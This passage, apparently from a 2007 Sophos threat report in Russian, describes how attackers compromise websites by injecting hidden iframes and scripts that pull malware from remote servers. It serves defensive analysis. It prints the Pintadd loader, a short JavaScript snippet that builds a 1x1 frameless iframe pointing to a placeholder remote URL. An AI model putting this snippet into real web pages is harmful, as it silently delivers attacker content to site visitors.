Скомпрометированные сайты
Cтатья "Современные интернет-атаки" предоставлена Sophos Plc и SophosLabs.
Август 2007 г.
Между пользователями и используемыми ими веб-службами обычно устанавливаются доверительные отношения. Пользователи подключаются к сайтам для использования предоставляемых ими услуг (от интернет-карт и новостей до прогнозов погоды), позволяя своим браузерам соответствующим образом отображать страницы. Пользователей обычно призывают вести списки надежных сайтов, чтобы браузер можно было настроить в соответствии с уровнем надежности просматриваемого сайта. Таким образом пользователи могут включать в браузерах также вещи, как скрипты, ActiveX и Java, если они необходимы для просмотра конкретного сайта. Сама по себе идея применения более строгих правил к разрешенному контенту, поступающему из ненадежной области, основана на разумных принципах.
Тем не менее в последнее время количество скомпрометированных сайтов существенно выросло [31]. В чем же причина? Хакеры занимаются этим не только из-за сомнительной чести дефейса сайтов [32, 33]. Компрометация сайта, в результате которой на страницах загружается вредоносный контент, служит малозаметным средством достижения целей, рассматривавшихся в начале этой статьи — распространения и реализации угрозы. Более того, если скомпрометирован сайт с большим количеством регулярных пользователей, которые считают его надежным, то потенциальное число жертв также будет весьма велико. Взлом веб-сайта команды Miami Dolphins перед кубком Super Bowl 2007 года служит подтверждением того, что атака с помощью компрометации веб-сайта может стать исключительно масштабной [34].
Язык HTML предоставляет множество удобных способов загрузки дополнительного контента. Чаще всего на скомпрометированных сайтах используется метод с применением тега <IFRAME> [35], который позволяет незаметно загрузить на страницу дополнительный контент. Этот тег широко используется во вполне мирных целях на многих веб-сайтах. Компрометация считавшегося надежным сайта с помощью этого метода весьма удобна для создателей вредоносного ПО, поскольку для завлечения пользователей на сайт не требуется применение социальной инженерии, а для загрузки вредоносного контента не нужны действия пользователя. Статистика за первое полугодие 2007 года показала, что почти в 50 % случаев вредоносное ПО, работающее через Интернет, использует теги iframe [36]. Этот тег поддерживает несколько атрибутов. Чаще всего в атаках используются атрибуты ширины и высоты, с помощью которых можно задавать размер фрейма на странице, куда загружается контент. Чтобы сделать компрометацию незаметной для пользователя, в большинстве вредоносных тегов iframe задаются весьма малые значения для длины и ширины (0-10 пикселей). Подобные теги приводят к созданию на странице множества мелких полей, которые могут стать весьма заметны в случае ее многократного заражения.
Несмотря на то, что вредоносные теги iframe содержат эти атрибуты, упреждающее выявление скомпрометированных страниц является весьма нетривиальной задачей, поскольку эти же атрибуты используются на многих обычных страницах. Атрибуты, задающие размер, сами по себе могут служить только косвенным признаком — для гарантированного выявления также должен проверяться атрибут src тега iframe. Любопытно, что в нескольких недавних атаках вместо сверхмалого используется сверхкрупный размер (к примеру, 1500 на 1500 пикселей); очевидно, это попытка обхода выявления скомпрометированных страниц по подозрительно малым значениям атрибутов размера.
Рис. 8. Снимок многократно зараженного сайта. Можно видеть несколько мелких полей (по одному на каждый из 23 вставленных вредоносных тегов
Аналогичный результат обычно достигается путем компрометации веб-страницы с помощью вредоносного скрипта, который просто вписывает тег iframe в страницу при ее просмотре. Хотя конечный результат по сути тот же (незаметная загрузка вредоносного контента с удаленного сервера при просмотре страницы), с точки зрения методов предотвращения такие атаки стоят особняком. Для выявления зараженных таким образом страниц необходимо выявить добавленный скрипт, а не проверять страницу на наличие вредоносных тегов iframe (если только технология проверки не позволяет интерпретировать или эмулировать JavaScript). С учетом того, что вредоносную операцию document.write ('<iframe... >')в JavaScript можно замаскировать множеством способов (см. рис. 9), заблаговременное выявление становится еще более сложной задачей.
Рис. 9. Веб-страница, зараженная вредоносным скриптом, вписывающим в код просматриваемой страницы тег iframe. (сверху: тег iframe, записываемый на страницу; снизу: вредоносный скрипт, добавленный на страницу при заражении).
В ходе недавней атаки, получившей название Pintadd [37], многие сайты были заражены скриптом, в котором использовалась слегка измененная методика загрузки удаленного вредоносного контента с помощью тега iframe. Вместо простого вызова document.write() в скрипте используется функция createElement() [38], позволяющая создать элемент iframe. После этого для тега задаются необходимые атрибуты, а сам тег добавляется на текущую страницу с помощью метода appendChild() [39]:
var url='http://domain/path/index.php' ;
var ifr=document.createElement('iframe');
ifr.setAttribute('src' , url) ;
ifr.frameBorder=0;
ifr.width=1;
ifr.height=1;
document.body.appendChild(ifr)
С точки зрения жертвы результат будет тем же, что и в случае прямого внедрения тега iframe. Тем не менее, для защитного ПО это новая проблема.
Практически все зараженные сайты, выявляемые компанией SophosLabs, подвергаются загрузке дополнительного вредоносного контента с удаленных серверов. По сути скомпрометированные сайты используются для незаметной загрузки вредоносных скриптов и запуска механизма заражения (см. раздел 3.3). В некоторых атаках (например, в случае Dorf) используются спам-сообщения, завлекающие пользователя на вредоносный сайт. В других атаках для достижения того же конечного результата используются скомпрометированные сайты, пользователь которых даже не узнает о том, что подключается к удаленному атакующему сайту.
Теоретически после обхода системы безопасности сайта и получения удаленного доступа на скомпрометированном сервере могут размещаться все компоненты, необходимые для атаки. Измененные страницы могут запускать вредоносные скрипты и устанавливать вредоносное ПО, размещаемое на том же сервере. Тем не менее, обычно дело обстоит по-другому. Основных причин для этого две. Во-первых, перенаправление скомпрометированных сайтов на единый атакующий сайт предоставляет хакеру единый пункт управления атакой. Во-вторых, добавление небольших скриптов или тегов на страницы скомпрометированного сайта менее заметно, чем загрузка крупных скриптов и двоичных файлов. Помимо видимых признаков многократного заражения сайта (рис. 8) исходный код сайта также зачастую будет содержать соответствующие признаки. Часто в нем можно увидеть несколько тегов iframe или вредоносных скриптов, зачастую обрамленных специфичными маркерами (HTML-комментариями).
Рис. 10. Начало зараженной веб-страницы, в котором показан добавленные скрипты и теги iframe, разделенные маркерами заражения ().
Новости о компрометации крупных сайтов могут распространяться весьма широко. Тем не менее, большая часть компрометируемых сайтов имеет небольшой объем и пропускает сравнительно малый трафик. По отдельности они не представляют особой угрозы, но совокупный эффект приводит к весьма значительным рискам. Помимо этого, небольшие слабо управляемые сайты обычно остаются зараженными дольше; причиной может быть невозможность их очистки, игнорирование серьезности проблемы или просто неопытность администраторов. Очевидной проблемой здесь является аутсорсинг веб-разработки. После создания сайта его поддержке зачастую уделяется недостаточное внимание, и для борьбы с такой проблемой, как заражение сайтов, не хватает квалифицированных кадров. Простое удаление добавленных скриптов и тегов со страниц не является достаточной мерой. Для предотвращения повторного заражения необходимо связаться с поставщиком услуг хостинга и изучить лог-файлы сервера, чтобы понять, как был заражен сайт. Переписка с администраторами зараженных сайтов остается малоэффективной; даже крупные компании зачастую ограничиваются минимальной реакцией.
Если хакеры заражают сервер, на котором размещается несколько сайтов (например, серверную ферму поставщика услуг хостинга), то одна атака может привести к заражению всех размещенных на компьютере сайтов [40]. Ранее в этом году компания SophosLabs обнаружила атаку на польского провайдера, в рамках которой несколько серверов было заражено EncIfr. Было отмечено заражение свыше 13 000 URL-адресов, которые обслуживались небольшим количеством серверов. Все страницы были заражены вредоносным скриптом JS/EncIfr-A. Это хороший пример, говорящий о том, что при определении масштаба и серьезности атаки следует учитывать не только число зараженных страниц, но и количество зараженных веб-серверов.
В некоторых атаках, использующих скомпрометированные сайты, используется более целенаправленный подход, в рамках которого заражается не серия сайтов, а конкретный популярный сайт. Хорошим примером в данном случае могут стать две недавние атаки на социальную сеть MySpace. В Ofigel для создания работающего на MySpace червя использовались ролики QuickTime (с поддержкой встраиваемого JavaScript) [41]. Когда пользователи открывали зараженный профиль, загружался ролик, который в свою очередь загружал с удаленного сайта вредоносный скрипт. Этот скрипт использовал межсайтовый скриптинг, к которому был уязвим сайт MySpace, для заражения профиля жертвы (при котором в ее профиль добавлялся аналогичный ролик QuickTime). Последующая атака SpaceStalk [42] использовала ту же функцию роликов QuickTime для загрузки вредоносного скрипта, который собирал учетные данные пользователей и передавал их на удаленный сервер [43]. Подобные целенаправленные атаки используют уязвимости в популярных веб-сайтах для заражения их пользователей. Защита от методик, применяемых для использования уязвимостей в сайтах (например, межсайтовый скриптинг), может быть весьма проблематичной. Одна из лучших форм защиты — это классификация URL-адресов, позволяющая ужесточить политику безопасности при просмотре менее надежных сайтов (см. раздел 4).
